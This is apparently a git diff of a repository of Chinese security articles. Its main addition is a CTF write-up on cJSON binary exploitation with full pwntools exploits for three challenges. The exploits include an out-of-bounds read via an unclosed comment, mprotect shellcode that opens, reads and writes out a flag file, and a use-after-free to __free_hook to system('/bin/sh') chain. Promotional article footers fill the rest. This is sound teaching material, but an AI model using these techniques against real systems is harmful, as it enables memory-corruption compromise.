-![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXZr7IlAP0iahxwp0qSYh33loSQCvRX1HA0iag2ylm7FOzElwBsadiaIKA/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf1lZKgy5yQyB6qfmEUO5jiavCaTVuDA7lia5eETdHqtUszd7nfvTX1lNQ/640?wx_fmt=png&from=appmsg "") 于是猜测管理后台地址也是有这些接口的,直接更换请求的host,成功获取到真实数据 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj3OliahJHQJuZGxunW2DWMJmWoibIBf7XPPia1ticZLkoOgTUpdlfEickdcw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfs0IbCAjpOFia6pyHC3dOvlX50v1l1K7h1uX2IpXHwBTDliaMyHzc4IIA/640?wx_fmt=png&from=appmsg "") -**one more thing** +作者:红猪 + +来源:https://forum.butian.net/share/3692 建立了一个 -src专项圈子 -,内容包含**src漏洞知识库** -、**src挖掘技巧** -、**src视频教程** -等,一起学习赚赏金技巧,以及专属微信群一起挖洞 +src专项圈子,内容包含**src漏洞知识库**、**src挖掘技巧**、**src视频教程**等,一起学习赚赏金技巧,以及专属微信群一起挖洞 圈子专注于更新src相关: @@ -255,38 +229,72 @@ src专项圈子 ``` -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOABrvjQvw6cnCXlwS05xyzHjx9JgU7j83aReoqqUbdpiaMX2HeudxqYg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg41LkR0ezBlmjJY4Lwgg8mr1A5efwqe0yGE9KTQwLPJTe9zyv3wgYnhA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") ![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOXg868PqXyjsACp9LhuEeyfB2kTZVOt5Pz48txg7ueRUvDdeefTNKdg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZDDDv3NsbJDuSicLzBbwVDCPFgbmiaJ4ibf4LRgafQDdYodOgakdpbU1H6XfFQCL81VTudGBv2WniaDA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "null") -![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuYgNUapJqQxicbYTJoohoBK32iat5p76xlsgd6bdhZsdAgtNzPEv9CEOh96qgHK3ibHHBa4kRibjQeuibw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZrY2H5J445ZKSwk8PKKN5I3DNFdtPMB7Z44ibQI2yMgiazCvjyib6YnRJPhzVg2KqfPM80VdcGT9RFA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") 图片 +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4Bd1oBmTkA5xlNwZM5fLghYeibMBttWrf57h8sU7xDyTe5udCNicuHo8w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + ![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuYrUoo5XZpxN9Inq87ic71D6aUeMdaWrKXgYYia2On8nMA7bqWDySa8odAq1a0kkp3WFgf0Zp0Eut0A/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") - -![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZDDDv3NsbJDuSicLzBbwVDCPFgbmiaJ4ibf4LRgafQDdYodOgakdpbU1H6XfFQCL81VTudGBv2WniaDA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "null") - -图片 - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugIx3z6YtXqmOkmp18nLD3bpyy8w4daHlAWQn4HiauibfBAk0mrh2qNlY8A/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4KKlic4yiafWTpLdejicQe3MllEQc24ypeI3anaK7IjJDVyq1WVQN2yKBA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") 图片 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugI5tZcaxhZn1icWvbgupXzkwybR5pCzxge4SKxSM5z4s9kwOmvuI3cIkQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") - -图片 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOHgjJxnq1ibibJgVUx3LwCjZj62vygx8w6rxia1icmIWiax2YlP6S6LmlmlQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOApVm8H605qOibxia5DqPHfbWD6lmcweDjGv4DLl45waD068ugw2Iv2vg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOApVm8H605qOibxia5DqPHfbWD6lmcweDjGv4DLl45waD068ugw2Iv2vg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +图片 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOwldaSATYOh1WQpk1qz15rLxehOAn4aK7tdbSyNEuHDZpIISCtl6Q8w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugIstia27YLJFBtC5icJO6gHLLgzRDqib6upI3BsVFfLL02w6Q8jIRRp0NJA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4jFsKRMMNDKbsAZhscCiagnyJScMVmFUqMtae5omlLRdu095mywWszjQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuYrUoo5XZpxN9Inq87ic71D6JWUFIwPbP7Au1PYLXTplb3bbFZFlaYDtXXTqPdzOO6iaFz8F7r8WUPw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4uGJ2SA5BhZ3UyibZvVmcP3sozQEOfVr0jftWpC3YkpDiaAicS1ib3EgXHA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + + +### 考证咨询 + + +最优惠报考 +各类安全证书(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复" +好友位"咨询。 + +### 交流群 + + +关注公众号回复“**加群**”,添加Z2OBot好友,自动拉你加入**Z2O安全攻防交流群(微信群)**分享更多好东西。 + +![](https://mmbiz.qpic.cn/mmbiz_png/h8P1KUHOKuYMO5aHRB3TbIy3xezlTAkbFzqIRfZNnicxSC23h1UmemDu9Jq38xrleA6NyoWBu1nAj0nmE6YXEHg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +### 关注我们 + + + +**关注福利:** + +**回复“** +**书籍****" 获取  网络安全书籍PDF教程** + +**回复“** +**字典****" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。** + +**回复“漏洞库" 获取 最新漏洞POC库(** +**1.2W+****)****** + +**回复“资料" 获取 网络安全、渗透测试相关资料文档合集** + +**** +点个【 在看 】,你最好看 diff --git a/doc/要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结.md b/doc/要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结.md new file mode 100644 index 00000000..9d36783e --- /dev/null +++ b/doc/要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结.md @@ -0,0 +1,226 @@ +# 要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结 +闻人语默 老鑫安全 2024-12-29 10:00 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/bkcWdoIicx2c0UrtNfEm2cOFDqtsZPHTbGBy8c2o6MutW2sXdR49hwH36PqHvCyLv3PoFKE9ZaeJ3tFpo08Z6oQ/640?wx_fmt=jpeg&from=appmsg "") +# +# 简介 + +**JSON(JavaScript Object Notation)** +是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。它以纯文本形式存储和传输数据,广泛应用于客户端和服务器之间的数据交互。 +## JSON格式 +- 键/值对用冒号 : + 分隔。 + +- 多个键/值对之间用逗号 , + 分隔。 + +- 对象和数组可以嵌套,即可以在对象中包含其他对象或数组,或者在数组中包含对象或其他数组。 + +## 每个格式例子 +### 字符串(String) +``` +{    "greeting": "Hello, World!"} +``` +### 数字(Number) +``` +{    "age": 25,    "height": 1.75} +``` +### 布尔值(Boolean) +``` +{    "isStudent": true,    "isGraduated": false} +``` +### 空值(Null) +``` +{    "middleName": null} +``` +### 对象(Object) +``` +{    "person": {        "name": "Bob",        "age": 30    }} +``` +### 数组(Array) +``` +json{    "fruits": ["apple", "banana", "cherry"]} +``` +### 嵌套数组和对象 +``` +{    "company": "Tech Corp",    "established": 1999,    "isPublic": true,    "employees": [        {            "name": "Alice",            "age": 28,            "skills": ["Java", "Python"],            "address": {                "city": "New York",                "postalCode": null            }        },        {            "name": "Bob",            "age": 34,            "skills": ["JavaScript", "HTML"],            "address": {                "city": "San Francisco",                "postalCode": "94123"            }        }    ]} +``` + +cJSON 是一个轻量级的 C 语言库,用于高效地解析和生成 JSON 数据。它提供简单易用的 API,支持基本的 JSON 数据类型,如对象、数组、字符串、数字、布尔值和空值。cJSON 的设计注重性能和内存占用,适合嵌入式系统和资源受限的环境,能够在多种操作系统上运行,广泛用于需要 JSON 数据交互的应用中。 +### 字符串(String) +## cJSON结构体 +``` +typedef struct cJSON{  struct cJSON *next, *prev;  struct cJSON *child;  int type;  char *valuestring;  int valueint;  double valuedouble;  char *string;} cJSON; +``` +- **next** +: 指向下一个同级 JSON 对象或元素的指针。这使得 cJSON + 能够形成一个链表,从而支持 JSON 数组和对象的遍历。 + +- **prev** +: 指向前一个同级 JSON 对象或元素的指针。与 next + 一起,这提供了双向遍历的能力。 + +- **child** +: 指向当前 JSON 对象的第一个子元素的指针。对于嵌套的 JSON 对象,可以通过这个指针访问子对象或子数组。 + +type + 用于区分 JSON 对象的不同类型,具体值及其含义如下: +``` +- 0: `false` — 表示布尔假值- 1: `true` — 表示布尔真值- 2: `null` — 表示空值- 3: `number` — 表示数值(整数或浮点数)- 4: `string` — 表示字符串- 5: `array` — 表示数组- 6: `object` — 表示对象(键值对) +``` +- type + 与 string + 和 value* + 的关系 + +- type + 字段决定了当前 cJSON + 实例的具体类型,这直接影响 string + 和 value* + 字段的有效性。 + +- 只有当 type + 值为 4 + 时,valuestring + 字段才有效,意味着只有在当前类型为字符串时,该字段才会被赋予实际的字符串数据。 + +- 只有当 type + 值为 3 + 时,valueint + 或 valuedouble + 字段才有效,这表明在当前类型为数字时,这些字段将被填充有效的数值数据。 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooAauGIFSu9DC0Ticiauiak5le95M1RvLQ1JFpEEb3wgBUicWPibXQ7OotaQg/640?wx_fmt=png&from=appmsg "") +## 序列化cJSON结构体 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoovuh46BgYCKYEhOJV4TWCc2mJM7o6HAeGfHwibmxslQo9yrVmzpdD7RQ/640?wx_fmt=png&from=appmsg "") +# 2021 SCTF dataleak +## 程序保护 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoozqZMGh2ibnggwkDubuHTJ5FlZ35GN8qC89JicY1OzKf58HLVw62NXIGg/640?wx_fmt=png&from=appmsg "") +## 漏洞分析 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoooS54xCUsFM3icFfezEElZKjTPyN98zSg0tNblib3eH20Vl0FtRy0DH1g/640?wx_fmt=png&from=appmsg "") + +这里初看是没有什么漏洞的,不存在溢出和连带读的情况,但是有个cJSON_minify函数 通过ida对给的libcjson文件静态分析发现 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooD2aASZyudROiagxDGveJxkcPe0zlCeGYvLfOQFgNwgy4BzOeB1OyAbQ/640?wx_fmt=png&from=appmsg "") + +将这个转化一下为 +``` +#include #include void cJSON_Minify(char *json) {    if (!json) return;    char *jsona = json;      uint8_t *into = (uint8_t *)json;     while (*jsona) {        switch (*jsona) {            case ' ': case '\t': case '\r': case '\n':                jsona++; // Skip whitespace                break;            case '/':                if (jsona[1] == '/') {                    while (*jsona && *jsona != '\n') jsona++; // Skip single-line comment                } else if (jsona[1] == '*') {                    jsona += 2; // Skip the /*                    while (*jsona && !(*jsona == '*' && jsona[1] == '/')) {                        if (!*jsona) return; // Exit if we reach the end without closing                        jsona++; // Skip until end of comment                    }                    jsona += 2; // Skip the */                } else {                    *into++ = *jsona++; // Copy character                }                break;            case '"':                *into++ = *jsona++;                while (*jsona && *jsona != '"') {                    *into++ = *jsona++; // Copy character                    if (*(jsona - 1) == '\\') *into++ = *jsona++; // Copy escaped character                }                if (*jsona) *into++ = *jsona++; // Copy closing quote                break;            default:                *into++ = *jsona++; // Copy normal character                break;        }    }    *into = 0; // Null-terminate the new string} +``` + +这里存在一个注释没有对未闭合进行检测的情况,就比如如果我是/aaaaaaaaaaaaaaaaaa 但是没闭合的话 这种情况就会一直执行这个循环 也就是jsona++但是我们读入是通过  +into++ = *jsona++进行的读入 就会导致我们可以越界读到程序让我们leak的位置 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoo6sorx6sNkkfCI2OBBSb43frLuQN6Tz4Lgr2DxNUXsyia54HlJCTXcYw/640?wx_fmt=png&from=appmsg "") + +可以看到正常读入是这个样子,此时我们需要泄露的this_is_data_in_server有22字节,按照我们上面的分析如果全是注释没闭合那么,就会把this读入到xxx90的位置,rsi是我们wirite的地址,也就是读出末尾的server + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooqNCQrq8nbW7KHt4nsWSfJlbkQBnWqia2Ff210hSQicOQ697YDV1WUkHQ/640?wx_fmt=png&from=appmsg "") + +那么我们就可以通过控制注释的size 来分两次读出flag +## exp +``` +#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\s('aaaaaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('aaaaaaaa/*'.ljust(0xe,'b')) #'this_is_dat'flag1=mx.recv(0xb)s('aaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('/*'.ljust(0xe,'b')) #'this_is_dat'flag2=mx.recv(0xb)print(flag1+flag2)inter() +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoo8ZDN7fsJmdNnibupxOwuQx4XOJbKUz6sDZhQibrd3J80sIrcyb6H774Q/640?wx_fmt=png&from=appmsg "") +# 2024 强网拟态 ezcode +## 程序保护 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooAiah2o4JeTbkNKN6D8NdpLicrJibvdoWauKtxJnlwZz6LNKg8l7Ricxic0A/640?wx_fmt=png&from=appmsg "") +## 漏洞分析 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooic1L8pQZOt2ciaMe2yIJYlUFMzgaaglHrENCvOxP0UpYeDfOibQJAwLUQ/640?wx_fmt=png&from=appmsg "") + +这里有个cJSON_Parse 将JSON字符串反序列化为CJSON结构体 并且cJSON_GetObjectItemCaseSensitive(v7, "shellcode"); 取的是shellcode的值 因此我们只要 +``` +{"shellcode":content.hex()} +``` + +以这个格式就可以传输了 我们可以测试一下 + +可以看到我们是可以传输的: + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooC0WAfJRMmCgJnCwF7X1nKyPLepe0ItVs1NzU5J3qt4nN5ibqciaeOKWw/640?wx_fmt=png&from=appmsg "") + +但是题目限制了22字节的shellcode 并且此时的0x9998000段是没有可写权限的 因此我们要mprotect赋予权限 并且 再次read一次读入orw的shellcode + +这里要设置一下 + +rdi要为0x9998000 rsi要为len 不变就行 rdx为7 +``` +shl edi,12mov ax,10mov dx,7syscall +``` + +rdi为 +``` +xor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall +``` + +但是这里是24字节,多了两字节 可以从这里优化mov dx,7 改为lea edx,[rax-3] + +刚好22字节 然后就读入shellcode进行orw就可以了 + +orw_shellcode +``` +mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall +``` +## exp +``` +#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./vuln"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\content=asm('''shl edi, 12mov ax,10lea edx,[rax-3]syscallxor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall''')print(len(content))payload={"shellcode":content.hex()}sl(json.dumps(payload))orw=asm('''mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall''')payload=b'flag\x00'+b'\x00'*5+orwsl(payload)inter() +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoomKrDxbuceJYKNibMYRHDcAHt5Todvpm3h3wfqbEIx8e7zvk76ofym1g/640?wx_fmt=png&from=appmsg "") +# 2024 ciscn决赛 ezheap +## 程序保护 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoozWufuFdrvrN3Mec79GaQz0NRpLRI5ian3DvN0VGwZgFngXvtLHk2WXw/640?wx_fmt=png&from=appmsg "") +## 漏洞分析 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooZwOm46DfbZfQIzWDbtYQYwaK23PPlicUiblD551eXPgWbQiajiaghyMT2A/640?wx_fmt=png&from=appmsg "") + +从这里可以看出来是有一个取值的过程,并且是相互对应的,如果没有取出来则会进入error退出程序 + +而v10来源于v13经过处理函数,跟进这个函数发现: + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooDic1ibKwaFbKOex2RFSaoibjt2YAnKlJSQvnTIdYtibRPMzl5TOdKPAlmg/640?wx_fmt=png&from=appmsg "") + +存在一些json格式的特征,像null false true这种就是json格式中的布尔值,同时也有闭合{}的检测 因此可以基本确定发送的是json格式 +### 交互脚本 +``` +def add(size,cont):    payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    sl(payload)def delete(num):    payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def show(num):    payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def edit(idx,len,cont):    payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    print(payload)    sl(payload) +``` +## 漏洞分析 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoouJ26vk7zgBn2MWT7e5iaEFyV9kI7NtfHLzkU7varh1SLpJ9GApAdBsQ/640?wx_fmt=png&from=appmsg "") + +没有置0 这里存在uaf漏洞 并且是2.31 存在uaf漏洞且没限制基本随便打了,这里难点就是因为是json的传输,导致泄露的时候会有一些干扰 我们要通过调试来调整传输的东西进行泄露 +## exp +``` +#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\def add(size,cont):    payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    sl(payload)def delete(num):    payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def show(num):    payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def edit(idx,len,cont):    payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    print(payload)    sl(payload)add(0x400,b'a') #0add(0x400,b'a') #1delete(0)for i in range(6):    edit(0,0x400,b'a'*0x10)    delete(0)dbg()delete(1)add(0x60,b'') #2edit(2,1,b'\xe0')show(2)libc_addr=l64()-0x1ecbe0log_addr(libc_addr)libc.address=libc_addrsystem=libc.sym['system']free_hook=libc.sym['__free_hook']edit(0,0x8,p64(free_hook)[:6])add(0x400,b'a;/bin/sh')#edit(2,0x10,b'/bin/sh\x00')#add(0x400,b'a')edit(4,0x8,p64(system)[:6])delete(3)inter() +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooTWXV9WNQpPqG6vhyp9lic0l9LIbn6iaGIgMNfpQTfBxlLPsbaxI0EhmQ/640?wx_fmt=png&from=appmsg "") +原文l链接:https://xz.aliyun.com/t/16928 + +![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2c0UrtNfEm2cOFDqtsZPHTb4vfdpmicgKC9NPzZuQUTTac0FSjcwpb5nL3U8VO1U3ejarc8Gnp7RoQ/640?wx_fmt=png&from=appmsg "") + +更多姿势知识星球: + +![](https://mmbiz.qpic.cn/mmbiz_jpg/bkcWdoIicx2cHOlXibItr7xwSyoH6hjNOahd6XUoSb4DwhS4kPKSKiaxLIRT6ESpqLO7T0noAjoENEtEWhSodZrcQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +相关课程: + +[【双11活动】V2024-12老鑫安全培训](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488016&idx=1&sn=8a5fc1fa3044f8edbf833a5d11cbdbf8&scene=21#wechat_redirect) + + + +相关活动: + +[星期四吃什么,就吃KFC,随机抽取5位幸运嘉宾](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488267&idx=1&sn=13091ad7a445f81c73f64462a139014e&scene=21#wechat_redirect) + + + diff --git a/doc/赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞.md b/doc/赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞.md index 958632e5..9d16b3ca 100644 --- a/doc/赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞.md +++ b/doc/赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞.md @@ -1,5 +1,5 @@ # 赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞 - thelostworld 2024-12-28 02:46 + thelostworld 2024-12-29 15:08 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!马赛克安全实验室情报申明(可点击查看) ![](https://mmbiz.qpic.cn/mmbiz_png/wibiaOls7McRicPjtibQUDC6OnlQyWCzfd68f5ycicia6CCgOhrqkvHfLj5ajt2SKLnWoZSh219zUS3eTcERBwhxu9Dg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")